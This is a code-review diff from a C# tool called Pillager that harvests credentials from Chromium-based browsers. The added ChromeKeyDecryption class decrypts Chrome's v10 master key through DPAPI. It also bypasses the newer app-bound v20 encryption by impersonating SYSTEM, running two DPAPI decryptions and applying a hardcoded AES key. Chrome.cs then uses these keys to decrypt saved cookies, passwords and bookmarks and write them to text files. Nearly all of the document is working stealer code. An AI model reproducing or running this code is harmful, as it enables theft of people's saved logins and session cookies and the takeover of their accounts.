Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
57 changes: 25 additions & 32 deletions Pillager/Browsers/Chrome.cs
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,9 @@ public class Chrome : ICommand

public string BrowserName { get; set; }

public byte[] MasterKey { get; set; }
public byte[] MasterKey_v10 { get; set; }

public byte[] MasterKey_v20 { get; set; }

private string[] profiles { get; set; }

Expand Down Expand Up @@ -46,41 +48,22 @@ public class Chrome : ICommand
{ "Opera", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"Opera Software\\Opera Stable" )},
{ "Opera GX", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"Opera Software\\Opera GX Stable" )},
{ "The World", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"theworld6\\User Data" )},
{ "Lenovo", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Lenovo\\SLBrowser\\User Data" )},
};

public byte[] GetMasterKey()
{
string filePath = Path.Combine(BrowserPath, "Local State");
byte[] masterKey = new byte[] { };
if (!File.Exists(filePath))
return null;
var pattern = new System.Text.RegularExpressions.Regex("\"encrypted_key\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(File.ReadAllText(filePath).Replace(" ", ""));
foreach (System.Text.RegularExpressions.Match prof in pattern)
{
if (prof.Success)
masterKey = Convert.FromBase64String((prof.Groups[1].Value));
}
byte[] temp = new byte[masterKey.Length - 5];
Array.Copy(masterKey, 5, temp, 0, masterKey.Length - 5);
try
{
return ProtectedData.Unprotect(temp, null, DataProtectionScope.CurrentUser);
}
catch
{
return null;
}
}

private byte[] DecryptData(byte[] buffer)
{
byte[] decryptedData = null;
if (MasterKey is null) return null;
if (MasterKey_v10 is null && MasterKey_v20 is null) return null;
try
{
string bufferString = Encoding.UTF8.GetString(buffer);
if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11"))
if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11") || bufferString.StartsWith("v20"))
{
byte[] masterKey = MasterKey_v10;
if (bufferString.StartsWith("v20"))
masterKey = MasterKey_v20;

byte[] iv = new byte[12];
Array.Copy(buffer, 3, iv, 0, 12);
byte[] cipherText = new byte[buffer.Length - 15];
Expand All @@ -89,14 +72,19 @@ private byte[] DecryptData(byte[] buffer)
Array.Copy(cipherText, cipherText.Length - 16, tag, 0, 16);
byte[] data = new byte[cipherText.Length - tag.Length];
Array.Copy(cipherText, 0, data, 0, cipherText.Length - tag.Length);
decryptedData = new AesGcm().Decrypt(MasterKey, iv, null, data, tag);
decryptedData = new AesGcm().Decrypt(masterKey, iv, null, data, tag);
if (bufferString.StartsWith("v20"))
decryptedData = decryptedData.Skip(32).ToArray();
}
else
{
decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser);
}
}
catch { }
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
return decryptedData;
}

Expand Down Expand Up @@ -284,8 +272,13 @@ public override void Save(string path)
string chromepath = browser.Value;
BrowserName = browser.Key;
BrowserPath = chromepath;
MasterKey = GetMasterKey();
if (MasterKey == null) continue;
var MasterKey = ChromeKeyDecryption.GetChromeMasterKey(chromepath);
MasterKey_v10 = MasterKey.MasterKey_v10;
MasterKey_v20 = MasterKey.MasterKey_v20;

if (MasterKey_v10 == null && MasterKey_v20 == null)
continue;

List<string> profileslist = new List<string>
{
"Default"
Expand All @@ -302,7 +295,7 @@ public override void Save(string path)
string savepath = Path.Combine(path, BrowserName);
Directory.CreateDirectory(savepath);
string cookies = Chrome_cookies();
if (!string.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies,Encoding.UTF8);
if (!string.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies, Encoding.UTF8);
string passwords = Chrome_passwords();
if (!string.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords, Encoding.UTF8);
string books = Chrome_books();
Expand Down
163 changes: 163 additions & 0 deletions Pillager/Helper/ChromeKeyDecryption.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,163 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;

namespace Pillager.Helper
{
public struct MasterKey
{
public byte[] MasterKey_v10;
public byte[] MasterKey_v20;
}

internal class ChromeKeyDecryption
{
[DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CryptUnprotectData(
ref DATA_BLOB pDataIn,
string szDataDescr,
IntPtr pOptionalEntropy,
IntPtr pvReserved,
IntPtr pPromptStruct,
int dwFlags,
ref DATA_BLOB pDataOut);

[StructLayout(LayoutKind.Sequential)]
private struct DATA_BLOB
{
public int cbData;
public IntPtr pbData;
}

public static MasterKey GetChromeMasterKey(string dirPath)
{
string filePath = Path.Combine(dirPath, "Local State");
if (!File.Exists(filePath))
return new MasterKey();
string content = File.ReadAllText(filePath);
byte[] masterKeyV10 = null, masterKeyV20 = null;

if (!string.IsNullOrEmpty(content))
{
var matchV10 = FindEncryptedKey(content, "\"encrypted_key\":\"(.*?)\"");
if (matchV10.Count > 0)
{
try
{
byte[] key = Convert.FromBase64String(matchV10[0]);
key = key.Skip(5).ToArray();
masterKeyV10 = DPAPIDecrypt(key);
}
catch (Exception ex)
{
Console.WriteLine("[-] Error: " + ex.Message);
}
}

var matchV20 = FindEncryptedKey(content, "\"app_bound_encrypted_key\":\"(.*?)\"");
if (matchV20.Count > 0)
{
byte[] key = Convert.FromBase64String(matchV20[0]);
key = key.Skip(4).ToArray();
byte[] decryptedKey = DoubleStepDPAPIDecrypt(key);
if (decryptedKey != null && decryptedKey.Length > 0)
{
decryptedKey = decryptedKey.Skip(decryptedKey.Length - 61).ToArray();
byte[] iv = decryptedKey.Skip(1).Take(12).ToArray();
byte[] ciphertext = decryptedKey.Skip(13).ToArray();
byte[] tag = decryptedKey.Skip(45).ToArray();

byte[] aesKey = {
0xB3, 0x1C, 0x6E, 0x24, 0x1A, 0xC8, 0x46, 0x72, 0x8D, 0xA9, 0xC1, 0xFA, 0xC4, 0x93, 0x66, 0x51,
0xCF, 0xFB, 0x94, 0x4D, 0x14, 0x3A, 0xB8, 0x16, 0x27, 0x6B, 0xCC, 0x6D, 0xA0, 0x28, 0x47, 0x87
};
try
{
AesGcm aes = new AesGcm();
byte[] encryptedData = new byte[ciphertext.Length - tag.Length];
Array.Copy(ciphertext, 0, encryptedData, 0, encryptedData.Length);
masterKeyV20 = aes.Decrypt(aesKey, iv, null, encryptedData, tag);
}
catch (Exception)
{
masterKeyV20 = decryptedKey.Skip(decryptedKey.Length - 32).ToArray();
}
}
}
}
return new MasterKey
{
MasterKey_v10 = masterKeyV10,
MasterKey_v20 = masterKeyV20,
};
}

private static List<string> FindEncryptedKey(string content, string pattern)
{
var matches = Regex.Matches(content, pattern);
var result = new List<string>();
foreach (Match match in matches)
{
if (match.Groups.Count > 1)
result.Add(match.Groups[1].Value);
}
return result;
}


private static byte[] DPAPIDecrypt(byte[] encryptedBytes)
{
DATA_BLOB inputBlob = new DATA_BLOB();
DATA_BLOB outputBlob = new DATA_BLOB();

inputBlob.pbData = Marshal.AllocHGlobal(encryptedBytes.Length);
inputBlob.cbData = encryptedBytes.Length;
Marshal.Copy(encryptedBytes, 0, inputBlob.pbData, encryptedBytes.Length);

try
{
if (CryptUnprotectData(ref inputBlob, null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 0, ref outputBlob))
{
byte[] decryptedBytes = new byte[outputBlob.cbData];
Marshal.Copy(outputBlob.pbData, decryptedBytes, 0, outputBlob.cbData);
return decryptedBytes;
}
else
{
return null;
}
}
finally
{
Marshal.FreeHGlobal(inputBlob.pbData);
Marshal.FreeHGlobal(outputBlob.pbData);
}
}

private static byte[] DoubleStepDPAPIDecrypt(byte[] encryptedData)
{
if (!Impersonator.GetSystemPrivileges())
{
return null;
}
byte[] intermediateData = DPAPIDecrypt(encryptedData);

Impersonator.RevertToSelf();

if (intermediateData.Length > 0)
{
var encryptedKey = DPAPIDecrypt(intermediateData);
return encryptedKey;
}
else
{
Console.WriteLine("[-] First step decryption failed.");
return null;
}
}
}
}
Loading